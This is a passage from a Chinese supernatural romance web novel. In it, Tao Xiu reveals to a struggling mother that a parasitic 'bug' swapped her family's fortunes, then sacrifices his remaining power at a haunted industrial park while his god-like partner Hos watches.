陶岫瞳孔一缩,他垂在身下的手缓缓蜷了起来:方子青和虫子交换了成杨和吴言的人生,连带着影响了那位女士和他们患了自闭症的孩子的命运…… 这对那一家来说,实在太残酷了…… 只有等到霍斯完成他的工作彻底杀死虫子之后,那一家的人生轨迹才能恢复正常。 他们一家的事情其实与方子青和虫子【抹除】的能力没什么关系,是可以说出的部分。 可他们一家早晚会回到正常的人生轨道里,知晓了这一点对现在还不能回去的他们来说,是不是一种伤害呢? 而他做出这样的判断,又是不是太傲慢…… 陶岫看向周河,有点难过又茫然地问道:“如果真相很残忍呢?那位女士,她、她会想知道吗?这会不会是对她和她家人的二次伤害?” 周河瞳孔一缩,他看了陶岫半晌,才摇摇头,诚实地道:“陶岫,我不知道。我认为,面对这种事情,如果不是本人,是没有立场做出判断的。” 陶岫垂眸思索一瞬,他看向周河,苍绿的眼眸里满是坚定,他道:“我可以见见她么?” 周河说得对,只有那位女士才有选择要不要知晓真相的权利。 周河一笑,拍了拍陶岫的肩,道:“好。我直接带你去见蒋局。” 顿了下,他轻轻叹了口气,用像是对待朋友一般的口吻说道:“陶岫,不要给自己施加太多道德困境,这些事情里没有一件是你的错,也没有一件是你的义务。” 事实上,在那位霍斯先生出现前,当初高层对陶岫的定位和战略目标真的说出来不会有多光彩。 就连他当初去接近青年,也并未将对方真的当成同类、更别说朋友。 而真的接触过陶岫本人后才能体会到,这个青年真的太…… 面对陶岫这样的人,他是会愧怍的…… 陶岫看似并不知道周河在想什么,电梯已经到达,他踏出去回望着周河,眸色明亮又坦诚,他道:“多谢提醒,我会注意的。” 说着他颊边浮出个浅浅的涡旋:“你放心,我做的一切都出于我的本心,是我愿意这样做的,没有谁逼我。” “至于别的,论迹不论心,我们每次见面和相处都很愉快,我没有因为你和特别行动局受到过任何伤害,相反,你们还帮了我不少忙。是我要感谢你们。” “所以,你真的不必有什么负担。” 周河蓦然睁大了眼睛,半晌,他才回过神来,大步踏出电梯,边带着对方走向蒋周的办公室,边感叹道:“陶岫,你的能力还包括读心吗?” 陶岫眨了下眼:“没有哦。” 说罢他不知想起什么,眼神瞬间温柔下来:不过,陶星星会读心啊。 陶星星是世界上最可爱最厉害的小朋友。 第66章 周河带着陶岫来到蒋周办公室时,吴言的妻子恰巧推开门要离开。 她穿着朴素,身形削瘦,鼻梁上架着副银丝眼镜,即使脸色憔悴,她整个人看起来也有种疏离的书卷气。 迎面碰上周河陶岫两人时她一怔,就要往旁边走几步给对方让开路。 陶岫并未怎么绕圈子或是试探,他直接朝她绅士地伸出手,温和地道:“您好,我是陶岫,算是知道一些您家里的事情,但我不认为这些信息能立刻改变您家里现在的状况。在这个前提下,您还想知道那些么?” 女人瞳孔一缩身体僵在那里,她惊疑不定地打量着陶岫:这个陌生人的话实在太奇怪和突兀了,但如果没骗人的话,这种说法却足够真诚…… 女人蓦然转身朝办公室里的蒋周看去,带着镇定的询问。 即使周河还没向蒋周报告,已经差不多猜到过程的蒋周也点了点头,道:“乔女士,你完全可以信任陶岫。” 女人这才握住陶岫的手,道:“你好,我是乔鸢。”顿了下,她的眸子里浮出无比坚定的神情,道:“如果您真的可以告诉我真相,我会感激不尽。” 即使她和她的丈夫注定要永远陷在那种诡异的诅咒所造成的痛苦里,那他们也选择清醒地痛苦,这是他们保持自我和人格的方法。 而且,只有清醒地知道“诅咒”发生的逻辑和缘由,他们才有机会把他们的孩子从这场诅咒中拯救出去。 陶岫面上浮出点钦佩,他正要说什么,蒋周的声音再次响起来:“你们进来聊吧,这里很方便。” 说着他看向周河:“周河,你负责记录。” 陶岫并未提出什么异议,他礼貌地将乔鸢让进办公室,接着自己也走了进去。 …… “我也不清楚,我们一家怎么会落到那样的境地里。”乔鸢语气平静地讲述着,补充了比刚刚向蒋周叙述时更多的细节:“就好像有一天醒来,一切看似很正常,我却觉得哪哪都变了……” 她已经记不清自己是从什么时候开始感觉到生活不对劲的。 在她的记忆里,她和她丈夫都毕业自某所名校,读的都是计算机相关的专业,她丈夫研究方向更细分,和人工智能有关。他们是校园情侣,在读书的时候已经开始试着一起创业了。 但是,有一天醒来,她的丈夫变成了成家的司机,而她则是个到处打零工的家庭妇女,他们有自闭症的孩子病情恶化得更加严重。 她和吴言都觉得,他们的人生似乎不该是这样,但无论怎样回想,他们都只能想起:八年前,他们一起毕业后,吴言去做了刚刚创立一家科技公司的成杨的司机,而在一年后她怀了宝宝,做了家庭妇女,孩子出生后被查出自闭症,需要治疗和上特殊学校,这些都需要花不少钱,吴言做司机的工资并不高,于是她不得不外出打零工补贴家用。 “如果切割掉我们两个在学校的经历,这听起来似乎没什么问题,”乔鸢眼眶有些红:“但是,我们偏偏记得在学校里经历的一切啊,我们记得那时我们的初创公司已经拿到了融资,吴言怎么可能去做成杨的司机?” “而我,不瞒你们说,我是很要强的性格,我相信,即使我有了孩子,也绝不会放弃自己的事业。我非常爱我的孩子,我和吴言会尽我们所有去爱他给他一切,我们可以为他付出生命。但我是搞研发的,我非常热爱我的领域,我在学校时就认定我会用一生去探索它,我是绝对不会放弃的。” 陶岫同情地看着乔鸢,脑海中很快出一条时间线:八年前,刚毕业的吴言和乔鸢创立了一家科技公司,公司发展得很好,他们的孩子出生后虽然被确诊了自闭症,但因为父母的爱与很好的家庭条件及资源,也得到了较好的呵护与治疗。 但是,公司发展了三年后,也就是距今五年前,他们遇到了虫王。 虫王为了得到大量数据升级自己体内人工智能的部分,威胁引诱吴言与乔鸢通过公司产品替它收集数据,他们选择了拒绝和报警。 于是,虫子调换了成杨一家和吴言一家的人生,从此之后,吴言成为了司机,成杨则代替了吴言乔鸢,在他们共同创立的公司里做了老板。 在成杨乔鸢做司机和家庭主妇的五年里,他们的孩子也因为突然拮据的家庭环境情况不断恶化。 而虫子的所有能力都有缺陷,它无法将他们的人生彻彻底底换过来,涉及他们交换人生前的时间,它只能编造些虚假的共同记忆充当经历——它甚至无法编织太久之前的记忆,而只能往前编织三年。 三年的虚假记忆再加交换了人生的五年,所以现在的乔鸢一家会觉得自己八年前和八年后的人生彻底割裂…… 他斟酌着字句,正要说出真相,乔鸢却继续讲述了下去:“即使再如何百思不得其解,我们的人生还是变成了现在这样。我们也想过改变的,五年前我们就开始觉得不对劲,往外投过不少简历,我们那时候想,哪怕不去创业也至少找份薪水高一些的工作给孩子看病——孩子的情况也是从那年开始突然恶化的。” “但诡异的是……不管拿到多好的offer,我们就是无法顺利入职,总会突然出现各种各样的意外。吴言只能做成家的司机,而我只能打各种零工。” “就好像……我们的人生被谁强制地绑定在唯一的这条道路上,我们无法尝试任何别的分叉……” 说到这里,乔鸢垂眸自嘲一笑:“但我们总不想认命,所以挣扎反抗了整整五年,却都以失败告终。” “吴言不久前送成运去过霞山那里被废弃的别墅区,之后就被关进了这个我直到现在都不清楚名字的单位,被放出来之后,他出于对我的保护,向我隐瞒了这些。” “但是,成家父子直到现在都是失联状态,想来已经因为霞山别墅的事情被控制了。他们已经不能给吴言发工资了,他却依旧不得不去成家那个废弃的房子里上班,为了赚钱他试着去外面跑网约车,果然出了意外,我又怎么可能不担心呢?” 说着她看向周河,道:“刚刚蒋先生叫你,我才知道周河是你。我从吴言的口袋里发现了你给他的名片,那名片很奇怪,上头没有单位名称和你的职称,而只有你的名字电话和这里的地址。” “我的本能告诉我,来到这里,我或许能知晓我想要的谜题答案,所以我直接过来了,哪怕希望再渺茫,我也想试着寻求真相。” 只是,她并未从蒋周那里知晓太多信息,直到刚刚遇到了陶岫。 “现在,”乔鸢又恳切地看向陶岫:“我恳请您告诉我,我们一家人到底为何会遭遇这些!” 她面上再次浮出那种自嘲的笑,她难得在人前露出脆弱和疲惫:“陶先生,说实话,最近我已经觉得走投无路,开始去相信那些鬼神之说,我想难道是因为我和吴言前世犯下了什么罪——” 陶岫瞳孔一缩,他神色柔软又坚定地打断她:“绝对不是你们的错。你们没有犯任何错误和罪行。” 他们一家明明是受害者,该付出代价的明明另有其人…… 陶岫看向蒋周,他想到什么,神色有些冷:“你们这里一定有成杨的详细生平,对吗?可以给我用来给这位女士讲述真相吗?” 蒋周点点头,看了周河一眼,周河立刻用平板调出了之前收集的成杨的资料。 他们利用张乐的【意识探取】能力查过那对父子,除了查出成杨似乎和【游戏】有什么交易外,没有查出别的信息。 他们还想查得更加清楚,但是,张乐的能力似乎需要借助虫子,他的能力对那些已经被虫子侵入身体的玩家更有效果,而成杨父子是人类,张乐的能力非常有限。 今天有陶岫在,成杨父子的谜题应该就能得到解答…… 陶岫眉头微皱,快速浏览着平板上的时间线信息,看到一个时间节点,他视线一顿: 成杨一直是个不走正道做灰色生意的混混。 十一年前,他还因为将一批血型信息卖给人贩子坐过牢。 八年前,他出狱,之后突然摇身一变,非常突兀地成为了一家知名科技公司的老板。 …… 陶岫的手指点在八年前这个节点:这里应该就是虫王开始制造虚假记忆的时间点。 这个时间点正确的事件应该是,刚毕业的吴言和乔鸢一起创立了这家公司。 而成杨出狱后,或许是因为坐牢前攒的家底已经被不学无术的儿子成运挥霍干净,他去做了吴言的司机。 他很可能做司机做了三年,直到虫子出现,他和吴言乔鸢交换了人生,他变成了科技公司老板,还拥有了一段虚假的回忆,认为是自己三年前出狱后创立了公司——而即使察觉到一些违和和异常,他贪婪的本性也绝对不会让他去探索修正。 之后的五年里,他把控着从别人那里偷来的科技公司,通过那些产品向那只虫子输送大量数据和信息,无意中得知些许【游戏】的信息后,他更加贪婪地想要获取力量,甚至偷偷将一个死去的玩家运回了家研究,直到因为成运暴露,被抓进了特别行动局…… …… 清这些,陶岫看向乔鸢,认认真真道:“有一个很坏的存在,交换了你们一家和成杨一家的人生。” 蒋周周河和乔鸢几乎同时睁大了眼睛。 乔鸢面上一片空白的茫然,她嘴唇有些抖:“您、您说什么?” 陶岫:“是你们在八年前创立了一家科技公司,成杨那时很可能是你们的司机;五年前,你们遇到了一个很坏的家伙,它因为一些原因,有很多诡异的能力,它交换了你们和成杨的位置,你们一家才会变成现在这样……” “那个坏家伙涉及到太多和你们一家无关的信息,很抱歉我无法向您解释全部。” 陶岫直直看进乔鸢的眼里:“我知道我的说法不够有力有逻辑,但我保证,你们一家能回到原来的轨道上。” 那只虫子早晚会死,它死后,这一家人就能回到正轨上,吴言乔鸢会重新拿回自己的公司,他们一家人会像从前一样幸福…… 乔鸢沉默半晌,苍白的脸上浮出个苦笑,她垂眸轻轻道:“好,我知道了。” 她说着起身,对陶岫道:“很感谢您对我说这些。说实话……这一切听起来都非常天方夜谭,但是,您的说法和宽慰让我莫名心安了很多。” “我想,我会努力再坚持一段时间。” “我先去医院看吴言了,陶先生,祝你们今天一切顺利。再见。” 说罢她转身离开了这间办公室。 陶岫担忧地看着女人清瘦的背影,咬了咬唇。 等到办公室的门被合上,蒋周感叹的声音才响起来:“乔女士因为过度辛劳得了病,有钱和好的环境就能治愈,一直拖下去,可能会恶化,但他们家现在拿不出多余的钱来,就算能筹到钱治疗,她现在一直处于极严重的焦虑里,病情也有极大的概率恶化。” “她今天来到这里也是因为,她想试试看能不能找到真相、至少改变她孩子的未来。” 她只是害怕她病情恶化甚至有一天离开后,她的孩子未来会同样困在这种“鬼打墙”一样的诅咒里,所以她不放过任何微小的找到真相的可能性。 陶岫垂在身下的手紧紧攥在一起:他也刚刚有了陶星星,所以他很解,乔鸢在很多时刻里会有多绝望…… 到底该怎么加速霍斯正在做的事情的进程呢?只有这样,那只虫子才能尽快死,那家人才能尽快拿回属于自己的人生。 那只红眼睛说过,他最后的力量就是结束一切的关键,但是,那个选择还没到来,他还什么都做不了…… 蒋周这时消化完陶岫刚刚告诉乔鸢的信息,他看了看手表,道:“陶先生,十点钟了,我们现在可以去开下一场会议了,这场会议的核心是关于【美好公司】的一条信息。” 他其实很想知道陶岫为什么会要他们去查【方子青】和【美好公司】,也想知道他刚刚对乔鸢说的那些更详细的来龙去脉。 但是,现在不是追问的时候,总要先把他们得到的那条信息共享给陶岫。 陶岫回过神来,他苍绿的眸子里满是坚定:“好,我和你们去。” 现在只有不断向前走,才能尽快遇到红眼珠口中的选择。 蒋周朝他点点头,带着他走向会议室。 …… 与此同时,植物园里,霍斯单手抱着陶星星半蹲在中心区的那丛黑巴克玫瑰前。 现下还是冬天,那丛玫瑰并未盛开,只余光秃秃的翠绿花杆和那上头尖利的长刺。 和陶岫在时总有许多客人蹲在附近找机会搭讪老板不同,此时因着霍斯的气质太过可怖,以玫瑰花为核心的方圆一两米内都没有一个客人。 霍斯不知感知到什么,伸出一只手面无表情地握住了长满刺的花杆,尖锐的花刺看似刺进了掌心,却没有一滴血流出来,那些花刺反而受不住就要化作齑粉,只是被男人用能力保持着原状。 霍斯失望又不耐地移开,看向自己连伤痕都没留下的手心:人类世界真让人失望,他在这里连疼痛都无法感受到…… 什么都不懂的陶星星歪了头好奇地望着爸爸宽大的手掌:爸爸这素肿么了? 唉,好想妈咪吖QAQ 霍斯想起陶岫对小朋友的宠溺,难得刻意放轻动作,伸手捏了捏陶星星绵软的脸颊,像是对儿子说话,又像在自言自语:“他很快就会知道了。” 霍斯沉默一瞬,再次看向怀里的婴儿,道:“他快回来了,我们去接他,好么?” 陶星星歪了头眨巴着可爱的大眼睛,开心地点了点头:去接妈咪回家~ 第67章 特别行动局的会议室里。 工作人员:“之前,我们只通过检索【方子青】这个名字检索到一篇报道,那篇报道和25年前的一场失踪案有关,有受害者家属接受采访时表示受害者房间里有一张【美好公司】的工牌和【方子青】的名片。” “但我们并未在那篇报道里看到那些实物的照片,只好继续调查这场失踪案,再顺着失踪案调查【方子青】和【美好公司】,但一无所获。事实上,我们连当年失踪人员的完整名单都查不到。” “无论从哪个调查路径入手,最终指向的结果都是,全国确实有很多【方子青】,但与那场失踪案有关的【方子青】并不存在,【美好公司】也不存在。” “就在这时,和我们实验室长期保持合作关系的乔栋先生得知了这件事,为我们引荐了一位住在疗养院里的老人。” 说着她将一张照片展示在大屏幕上,那是个头发花白满脸皱纹精神却很好的女士,她佝偻着身体坐在床上,看向窗外发着呆,眸子里有些空洞,神情却温柔又坚韧。 工作人员介绍道:“乔先生只说,这是他和妻子长期资助的一位女士,她在25年前那场失踪案里失去了和自己相依为命的女儿。” “在女儿刚失踪那段时间,她卖车卖房几乎付出了自己能付出的一切去寻找她,但只过了一年时间不到,她的精神就出现了问题被送进了疗养院,在那之后,她就好像忘记了自己的女儿一样从来没提过一次女儿的名字,她每天只是自言自语说着一个地址,看着窗外发呆。” “我们推测,这或许就是我们用上了一切人力、科技与数据去调查那场失踪案却一无所获的原因。我们提出了一种猜想:是不是有什么存在(比如【游戏】)使用了我们无法认知与解的能力,抹除了那些失踪的人。所以我们无法查到相关信息,受害者家属也会遗忘。” “在此基础上,我们进一步推测,【方子青】与【美好公司】是不是也是抹除的对象呢?” 陶岫闻言瞳孔一缩:即使并不具备任何特异能力,人类还是能够凭借自身的智慧与永不言弃的探索精神走到了这一步…… 蒋周一边听报告,一边观察着陶岫的神情,工作人员继续道:“当然,这一切都只是我们提出的假设,目前没有任何可以验证它们的方式。” 说着她切换了另一张图片,那是A市一个知名园区,工作人员道:“这里就是那位女士念了25年的地址,这个园区现在入驻的都是生物医药类的公司,但遗憾的是,我们暂时没有在那里查出任何异常,所以不能确认这个园区是否和我们所调查的事件有关系。” “以上就是我今天的报告。” … 报告结束后,参会的工作人员根据这些新的信息立刻投入到新的工作中去,陶岫坐在原位,继续看着屏幕中那张还未来得及撤下的园区照片出神:那里是… 蒋周锐利的眼神定格在陶岫脸上:“陶先生,那里有什么不对吗?” 陶岫闻言收回视线,他直视着蒋周,试着开口道:“那里是【美好生物科技公司】的原住址,那家公司的老板就叫【方子青】。” 说罢他屏住呼吸,仔细观察着蒋周。 他之前就一直很好奇,【抹除】这种能力到底是如何发生的,到底会掣肘人类到什么地步。 蒋周看起来似乎没有任何异常,只是他的眼睛里闪过一瞬空白的茫然,接着,他像是不知道自己刚刚问了什么,再次问道:“陶先生,那里有什么不对吗?” 陶岫轻轻叹了一口气,他摇摇头:“暂时没有。”接着他起身道:“蒋局,我先走了,之后有什么消息我会联系周河。” 蒋周即使看出有异常,也并未追问,他点点头,叫来周河送陶岫离开。 … 离开特别行动局后,陶岫站在路边低着头叫车,他想去那个园区亲眼看看。 正在这时,一道阴影投了下来,空气中霎时盈满了馥郁的冷香,陶岫蓦然抬起头来,便立刻溺入一双猩红美丽的眼睛里。 陶岫一怔:“霍斯?” 霍斯注视着青年,“嗯”了声。 他怀抱中的陶星星已经朝青年伸出两只小小的胳膊,声音稚嫩软糯:“妈咪~” 陶岫连忙将小朋友抱过来,失笑道:“你们怎么会来?植物园呢?” 霍斯:“我们来接你。别担心,亲爱的,植物园那里很好。”他把一缕意识灌入了安检机,那里不会出任何问题。 陶岫眨了下眼:“好吧,但我还有些事情,我要去——” 霍斯上前轻轻抚上了青年的脸颊,他垂眸深深看着他:“我知道你要去哪里,也知道你会做什么。” 他不会阻止陶岫做任何事情,但是…… “我和陶星星想陪在你身边。等你事情做完,我们就一起回家。” 霍斯占有欲十足地掌着陶岫的脸颊,拇指蹭在青年唇角。 陶岫被男人突然的动作和表白弄得脸色有些红,此时路上还有行人,他轻咳一声移开了视线,却到底没有阻止男人的动作。 他道:“可以带我去美好公司的原住址吗?” 霍斯微笑着道了声“当然”,他上前揽着青年走向一个街角,四周没有行人时,他们的身影凭空消失在原地,之后便出现在那片园区里。 … 这片面积不小的园区表面看起来一切正常,办公的高楼与研发楼和谐地共存。这里绝大部分区域都在使用中,只有地段最好的核心区域,是一大片寸草不生的荒地——就连路上的员工都会刻意避开那里。 陶岫将陶星星交给霍斯,正要踏上那里,霍斯眸色蓦然一深,却到底没说什么,只是一个刚从公司食堂出来的年轻人利落地拉住了陶岫的腕。 她似乎是这个园区某家公司的研究员,胸前戴着工牌,她道:“你们别过去。这个园区好几家公司上千员工,没有一个人会去那里。大白天的大家宁愿绕远路都不愿意经过那地方呢。” 顿了下,她补充道:“那是我们园区出了名的怪地方。” 陶岫止住步子转过身,先是道了谢,接着温柔地捂住了陶星星的耳朵,才温和地向女孩儿问道:“可以和我说下,那里怎么奇怪吗?” 女孩儿思索一瞬,像是想起什么可怕的事情一般搓了搓衣袖,道:“奇怪的地方太多了我也不知道该怎么说起。最明显的怪异之处就是,那么好的地段,但不知道为啥没有建楼招商,我同事群里都传那里的楼建了就倒,所以干脆就空着了。” “空着一片地方也不好看嘛,园区领导肯定要搞绿化的,但是……不知道做了多少绿化策划案,却没有任何植物能在那片空地活下来。” “再有就是,我们的感觉。这就有点玄乎了,我们总觉得那里是活的……就好像那里有个看不到的怪物,在睁着眼睛张着口在等着我们经过时吃掉我们,让人背后发毛。” “而且,只要一接近那里,我们就总能莫名其妙闻到血腥味……但以前领导报过警,专业人员用鲁米诺测过的,那里压根没有什么异常血迹。” “可大家还是不喜欢那里,就总是绕开。”说到这里她感叹道:“这个园区地段很好的,挺多企业都把研发中心放在这,大部分员工们的薪水都非常可观,但是离职率还是挺高,就是因为有那么一片地方让大家很害怕,毕竟,大家确实需要打工赚窝囊费,但也不想时时刻刻都因为工作之外的事情神经紧张啊。” 陶岫听后沉默了很久,才礼貌地向女孩儿道谢:“谢谢你告诉我这些。祝你一切顺利。” 女孩儿道了声“不客气”,她看了眼一旁的霍斯和陶星星,最后叮嘱道:“千万别过去哦,尤其是你们还带着这么可爱的小孩儿,万一害小朋友做噩梦就不好了。” 陶岫点点头,女孩儿这才放心离去。 …… 等到女孩儿的身影消失不见,陶岫并未移开陶星星耳朵上的手,他只是看向霍斯,道:“如果,我们能很快杀死那只虫子……有办法救救那些被虫子吃掉的人们么?” 25年前,有一百多个人“失踪”,那是一百多条活生生的人命啊……. 而且他们还因为虫子的【抹除】能力被整个世界遗忘。 但即使在【抹除】能力的阴影下,他们的家人也可能会饱受折磨:就像疗养院里那个失去女儿的母亲,她当年抱着付出一切代价去寻找女儿的决心,当遗忘开始发生时,她该有多痛苦。而25年过去了,即使她早就忘记了女儿,忘记了她当年找到的线索所代表的意义,她也依旧痛苦又顽强地把那个地址刻进了身体里——即使女儿已经彻底在她的记忆中消失,她的身体也从未忘记过寻找她与拯救她的决心。 这些人们根本就不该遭受这些。 霍斯单手抱着陶星星,他静静看着陶岫半晌,才伸出另一只手,轻轻抚上青年的脸颊,道:“亲爱的,别露出这种神情……” 不要露出这种难过的神情,他觉得自己心都要碎了。 霍斯的声音沙哑低沉:“我会救他们。” 对他来说,拯救低维生物这种事情比毁灭要麻烦太多太多。 但只要陶岫不要再露出这样的神情,哪怕是上亿个人类,他都愿意一个个去救。 陶岫弯了眼眸踮起脚尖,轻轻亲了口男人的脸颊:“谢谢。” 接着他放开陶星星耳上的手,温柔地点了下婴儿的鼻尖,轻声道:“小星星,在这里等下我好不好,我很快就回来。等我忙完,我们就一起回家。” 陶星星明明什么都不知道,却仿佛已经天然地感知到什么,他眨巴着大眼睛看着青年,软糯的声音里有些不安:“妈咪……” 陶岫亲了口陶星星的脸颊:“乖啊。” 陶星星很想伸出短短的手臂抱住陶岫,却还是认认真真道:“星星、会乖的……” 陶岫又看向霍斯,他难得伸手捏住了对方俊美的脸,温柔地弯了眼眸,像在安慰一个小朋友:“你也乖啊……” 说罢,他转身向那片空地走去:他有种莫名的预感,那只红色眼睛所说的选择——只有他能做出的选择,就在那里。 …… 高大俊美的男人抱着陶星星站在原地,他静静看着青年的背影,猩红的瞳仁似烈火燎原。 【全文完结】 第68章 陶岫站在那片荒地的中心,缓缓蹲了下去,将手覆在了地面:那里看起来被沙土覆盖,手掌触碰地面的触感却分外光滑黏腻,就像……摸到了某种非人生物冰凉的外皮,让人非常不适。 陶岫眉头微微皱起来:这底下就是【美好】公司的大楼,下面的空间已经被虫子全部扭曲了,严格来说,地上地下完全是两个世界。 但是,虫子使用偷取来的力量时似乎并不完美,地下空间还是微妙地影响到了地上,这些沙土才会因此变得如此奇怪,在这里工作的人们才总是隐隐感觉异常。 那么,那只红眼睛所说的【选择】到底是什么呢? 他清清楚楚记得那只眼睛对他说过的话:【你最后的力量就是尽快结束一切的关键。】 【不久后,你就会拥有选择的权利。】 陶岫思索一瞬,尝试着使用自己仅剩不多的力量,覆在地面的指尖很快就有细细碎碎的萤色光点浮起又迅速渗入地面。 他之前从霍斯的讲述中看过,那只虫子吞噬了他大部分力量,现在他站在被那只虫子扭曲了的空间之上使用力量,虫子自然能感知到。 那只虫子此时就像25年前一样,开始隔着地面贪婪地吞噬他所剩不多的力量。那种感觉其实很不好受,就像自己浑身的血液都在被什么贪婪地吸干。 陶岫蓦地移开手掌,转头看向不远处的霍斯:他依旧不清楚那些虫子部位和霍斯在做的事情有什么关系,但他解霍的爱,解霍斯既想保护他又想尊重他的矛盾与挣扎。 霍斯是不会任由他毫无意义地自我伤害的。 所以如果霍斯没有阻止他刚刚在做的事情,那么就说明,他脑海中刚刚浮起的猜测是对的:他面临的选择就是,是否要将自己剩下的所有力量给虫子。 陶岫清楚地看到,不远处高大俊美的男人单手抱着孩子正直直注视着他,他的另一只手垂在身下,紧紧攥着拳,眼珠红得仿佛正在燃烧。 可他并未阻止。 于是陶岫面上浮出个无奈的笑:看来他猜对了。 他深吸一口气,毫不犹豫地将手重新覆在了冰冷的地面上——即使知道后果应该对自己不好,他也没办法犹豫哪怕一秒钟。 被改变命运的吴言乔鸢一家在等他,那些被虫子吃掉的人们在等他,那个为了女儿拼命与遗忘对抗将被抹除的公司地址记了整整25年的女士也在等他。 更多萤色的光点自掌心析出迅速渗进地面,陶岫眼前一黑,耳边嗡嗡作响,他觉得自己的身体在迅速变凉…… 那种感觉令人毛骨悚然,就好像地下的虫子在从他身体的每一处里敲骨吸髓搜刮他力量的同时,还在疯狂吸食他的生命和灵魂。 即使知道虫子没有能力吃掉他的生命和灵魂,那种可怕的感觉只是因着痛苦而产生的错觉,陶岫浑身的血液和细胞却依旧因着求生的本能疯狂叫嚣着主人将手移开。 陶岫额角很快渗出冷汗,他依旧发狠又坚定地将手用力按在原地。 鼻血滴滴答答地落在地上,就连耳朵都有血缓缓渗出来,陶岫狠狠咬住自己苍白的唇忍耐着:他只知道,自己不会死的…… 即使是为了拯救自己珍视的存在,他也一点都不想死……死掉是件多么冰冷可怕的事情啊,这件事发生后,他就再不能看到他的孩子、爱人、朋友、两个世界…… 所以他现在已经很幸运了,忍受些痛苦就能拯救他想拯救的,这是很划算的代价…… 只要不死,别的任何代价他都能接受…… 不知过了多久,陶岫眼前开始漫出大片黑暗,身体彻底脱力前,他有些无奈地想,如果早知道这种选择会让他自己变得如此狼狈,今天他一定会先让霍斯把陶星星送回家再来这里。 他一点都不想让他的小朋友看到亲眼这一幕…… …… 最后一点萤色的光芒渗入地面,荒地中心的青年终于失去意识就要彻底倒下来,下一瞬,他稳稳坠入一个盈满馥郁冷香的怀抱。 霍斯一手抱着刚刚被他使用能力“哄”睡的陶星星,另一只手臂有力地揽住了青年,他眼睛一动不动地盯着怀中满脸是血的青年,猩红的眼珠仿佛同样要渗出血来——他第一次体会到心痛得快要碎成星尘是什么滋味。 他没有立场阻止青年做这些,他甚至无法真正陪在他身边——他刚刚如果踏上那片荒地,那只虫子只会逃跑,根本不会主动吸食青年最后的力量。 而强制性地将陶岫的力量喂给对方,陶岫受到的伤害只会更大。 直到刚刚陶岫倒下来,他都无法想象,他的意志、他的心脏、他浑身的骨骼和器官是如何忍下来的…… …… 此时,地上的沙土诡异地颤动着,就连地面仿佛都变得扭曲起来,察觉到邪神在地面的一瞬,地下被彻底喂熟的虫子拼命挣扎着想彻底逃离这个地方,却被霍斯的力量狠狠钉在了原地。 地下纯白的异空间里,到处充斥着虫子绝望可怖的哀嚎,所有屏幕刹那间全部异常,闪烁着刺目的红色光芒。地面在剧烈颤动,无数玩家像无头苍蝇般乱作一团,他们要么自相残杀,要么四处窜逃…… 答应帮陶岫收集那些碎肉的张乐带着被他说服的玩家们瑟瑟发抖地缩在化作人形去里面查看虫身成熟情况的一筒一万兄妹身边。 妹妹怔怔地看着同样剧烈颤动的纯白天花板,喃喃道:“发生了什么,虫子怎么突然全部成熟了……” “老大应该做不到这些才对……” 霍斯大人的力量过于强大,祂做这件事这里立刻就会彻底化成齑粉,连【存在】本身都会消失…… 那么,这是谁做的呢? 哥哥若有所思地看着周围,难得神情严肃地将指竖在妹妹唇边:“不要妄作猜测。”顿了下,他同样抬头看向已经痛苦地浮出无数裂缝的纯白天花板:“无论何时何地,无论发生什么,我们都不可以忘记霍斯大人给我们的任务。” 妹妹一怔,随即坚定地点了点头。 …… 霍斯根本不屑会那些细节。 他只是紧紧抱着青年,一点点用自脊椎伸出的触手将青年脸颊上的血迹温柔地清干净。 因着心脏与浑身的器官骨骼都在充满戾气地吱吱作响,霍斯单手揽着青年肩膀的手指在微微颤抖。最终,他却将一个最轻最干净的亲吻映在青年眉心。 此时人类世界冬日的阳光慷慨地映照着万物,园区里所有的公司依旧在照常运转着,园区外的世界也一片喧嚣灿烂——这看起来就是人类世界一个再普通不过的午后。 没有任何人类知道,他怀中满脸是血的青年在这个普通的午后认真又努力地拯救了这个世界。 这种拯救真的值得吗? 他依旧无法解、并无比心疼青年这种自我牺牲,却矛盾又爱屋及乌地爱着青年的一切思想与行为。 现在,爱人这种折磨他的“拯救”终于结束了,一切尘埃落定,人类世界因着那次撞击而产生的所有纷乱因果很快就要彻底终结,那么…… “宝贝,”霍斯深情又心疼地看着陶岫,喃喃道:“我们先回家,好么?” 正在这时,在远处观察了他们半晌、却因着霍斯身上的戾气不敢靠近的另一个员工终于鼓起勇气走上前。 她咬了咬牙踏上了那片她一直绕开的荒地,走到霍斯面前,担忧地看了眼昏迷的陶岫和陶星星。 她满脸警惕地看着霍斯,勉强笑道:“请问,你来这个园区有什么事情吗?我对这里很熟,你想去哪家公司办事,我可以帮你指路。” 她其实并不知道具体发生了什么,只是经过时远远看到荒地中心的青年满脸是血地倒在一个浑身戾气的男人的怀里,那个男人怀里还抱着一个睡着的婴儿…… 这实在太可疑了,这个男人大概率有问题。 正确的做法是应该先报警再去通知园区保安过来——事实上,她已经报了警并打了保安厅的电话,她做了能做的一切,现在应该离开立刻这里回自己的办公室继续上班。 可是园区不是全封闭式的,她真的很怕在这段时间里这个男人带着昏迷的青年和婴儿直接离开……那会让青年和婴儿的处境变得更加危险。 她能想到的办法只有在不惊动对方的前提下搭话拖延时间等警察和保安过来…… 只是这个男人实在太可怕了,她只是靠近都觉得自己要忍不住浑身颤栗…… 可她不能走——她没办法违背自己的良心,看着这件事不管。 女孩儿深吸一口气正要再说些什么,再轻易不过地看透对方的霍斯直视着她,冷淡地开口:“如果现在他醒着,一定会先夸奖你是个非常勇敢与聪明的女孩儿,接着他会叮嘱你,见义勇为的前提是一定要先保护好自己。” 女孩儿僵在原地,瞳孔一缩。 霍斯垂眸看向陶岫,声音深情而温柔,像是在自言自语:“这就是你喜欢这里的原因么?可惜,我还是没有你那样的耐心。” 说罢他重新看向女孩儿,没有任何感情的空灵声音里带上了言灵的力量:“立刻离开这里。” 他既像是在对这个女孩儿说话,又像在对这个园区所有人类说话。 话音落定的一瞬,女孩儿失神一般利落转身机械地大步离开——她并未回自己的办公室,而是直接离开了园区回自己的家。 所有公司的所有员工此时也开始从大楼里有序地涌出来,他们诡异又机械地排着队向园区大门方向走去,很快就有条不紊地离开了这里。 整个园区霎时陷入一片静默里。 霍斯傲慢地扫了下地面,瞳仁冰冷地亮了一瞬,接着便抱着陶星星与陶岫消失在原地。 下一瞬,地面剧烈地颤动,一栋充斥着血腥气和恶臭气息的高楼在荒地上轰隆隆地拔地而起、很快高耸入云,楼身上的无数玻璃方格窗不知已经碎掉多久,只余无数漆黑的孔洞,每一处孔洞都发出刺耳诡异的哀嚎——就仿佛这栋楼已经变成了活物…… 